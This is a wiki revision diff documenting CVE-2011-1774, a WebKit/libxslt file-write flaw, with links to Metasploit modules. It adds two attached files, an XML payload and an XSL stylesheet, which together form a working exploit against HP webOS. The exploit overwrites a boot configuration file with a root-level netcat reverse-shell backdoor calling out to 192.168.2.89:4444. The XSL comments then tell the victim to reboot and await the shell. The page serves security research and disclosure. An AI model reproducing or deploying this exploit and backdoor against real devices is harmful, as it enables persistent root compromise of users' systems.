Changes for page Application_Webkit

Last modified by Nicolas Gregoire on 2012/01/14 17:48
From version Icon 3.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 21:59
Change comment: There is no comment for this version
To version Icon 7.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 23:57
Change comment: Upload new attachment webos-root-backdoor.xml

Summary

Details

Icon Page properties
Content
... ... @@ -26,4 +26,16 @@
26 26  Webkit uses [[libxslt>>Engine_libxslt]] as its XSLT engine. Old versions were not restricting __write__ access by the engine to the file system, leading to a remotely exploitable vulnerability ([[CVE-2011-1774>>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1774||rel="__blank"]]). This was patched in [[Changeset 79159>>http://trac.webkit.org/changeset/79159||rel="__blank"]] by adding appropriate calls to xsltSetSecurityPrefs().
27 27  
28 28  
29 -PoC included on the [[libxslt>>Engine_libxslt]] page are enough to demonstrate the vulnerability. A auxiliary plugin is available in Metasploit
29 +PoC included on the [[libxslt>>Engine_libxslt]] page demonstrate the vulnerability.
30 +
31 +== Exploits ==
32 +
33 +Two modules are included in Metasploit :
34 +
35 +* a [[auxiliary>>http://www.metasploit.com/modules/auxiliary/server/webkit_xslt_dropper||rel="__blank"]] working on any non-sandboxed non-patched Webkit device
36 +* an [[exploit>>http://www.metasploit.com/modules/exploit/windows/browser/safari_xslt_output||rel="__blank"]] plugin targeting Safari users with Admin privileges (because of the MOF trick)
37 +
38 +An exploit for HP webOS is attached. This exploit drops a backdoor executed with root privileges at boot time :
39 +
40 +* XML contains the payload : destination file name + file content. A reverse-shell based on netcat is added to the script
41 +* XSL reads the XML file and create the requested file on disk
Icon webos-root-backdoor.xml
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +1.7 KB
Content
... ... @@ -1,0 +1,54 @@
1 +<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2 +<?xml-stylesheet type="text/xsl" href="xslt2root.xsl"?>
3 +<exploit><location>/etc/default/mount_checks</location><content><![CDATA[# -*- mode: conf; -*-
4 +
5 +# Backdoor, by Nicolas Gregoire / Agarri
6 +IP="192.168.2.89"
7 +PORT="4444"
8 +
9 +MKNOD="/bin/mknod"
10 +NC="/usr/bin/nc"
11 +FIFO="/tmp/.a"
12 +
13 +( $MKNOD $FIFO p; while true; do { sleep 1; $NC $IP $PORT < $FIFO | /bin/sh &> $FIFO ; } done ; rm $FIFO ) &
14 +# End backdoor
15 +
16 +
17 +# Set this to save a file across reboots to indictate on boot that
18 +# umount happened correctly (and that, e.g. battery wasn't pulled)
19 +MOUNT_STAMP=/var/umount.stamp
20 +# tags used in MOUNT_STAMP
21 +REASON_MARK=reason
22 +CLEAN_UMOUNT_MARK=date
23 +
24 +# name of system property holding true/false based on presence of
25 +# $MOUNT_STAMP. Ignored if MOUNT_STAMP not set; must be defined
26 +# otherwise
27 +MOUNT_PROPERTY=last_umount_clean
28 +
29 +# file that contains 1 if / should be remounted rw, 0 otherwise
30 +REMOUNT_TOKEN="/etc/.rootfs_RW"
31 +
32 +# If an fsck or reformat of /media/internal was required on boot, set
33 +# this property.
34 +MEDIA_FIX_PROPERTY=media_fixed_how
35 +
36 +WIPE_FLAGS_DIR=/var/.flags
37 +WIPE_FLAGS_FILE=$WIPE_FLAGS_DIR/on_mount
38 +WIPE_PROGRESS=/var/.sought_blocks
39 +
40 +# MMC_PROTECT_OPTS=-f
41 +MMC_PROTECT_OPTS=""
42 +MMC_PROTECT_DISABLED=1
43 +mmc_boot_update() {
44 + if which mmc_protect >/dev/null && test -z "$MMC_PROTECT_DISABLED" ; then
45 + BOOT_DEV=$(sed 's,.*root=\(/dev/[^ ]*\) .*,\1,' < /proc/cmdline)
46 + ON_OFF=1 # on by default
47 + if [ -f "$REMOUNT_TOKEN" -a "$(cat $REMOUNT_TOKEN)" = "1" ]; then
48 + ON_OFF=0
49 + fi
50 + mmc_protect $MMC_PROTECT_OPTS -D "$BOOT_DEV" -p $ON_OFF
51 + fi
52 +}
53 +]]></content></exploit>
54 +
Icon webos-root-backdoor.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +816 bytes
Content
... ... @@ -1,0 +1,17 @@
1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
2 + <!-- Of course, the webOS browser runs as 'root' ;-) -->
3 + <xsl:template match="/">
4 + <!-- Grab some values from the XML file -->
5 + <xsl:variable name="content" select="//content/text()"/>
6 + <xsl:variable name="location" select="//location/text()"/>
7 + <html><body>
8 + <!-- Drop the backdoor, overwriting the previous configuration file -->
9 + <xsl:document href="{$location}" method="text"><xsl:copy-of select="$content"/></xsl:document>
10 + <!-- Display something to the user -->
11 + File '<xsl:copy-of select="$location"/>' has been overwritten ...<br/>
12 + <!-- Ask for a reboot. We could force it too ... -->
13 + Now reboot and wait for your reverse-shell ;-)<br/>
14 + </body></html>
15 + </xsl:template>
16 +</xsl:stylesheet>
17 +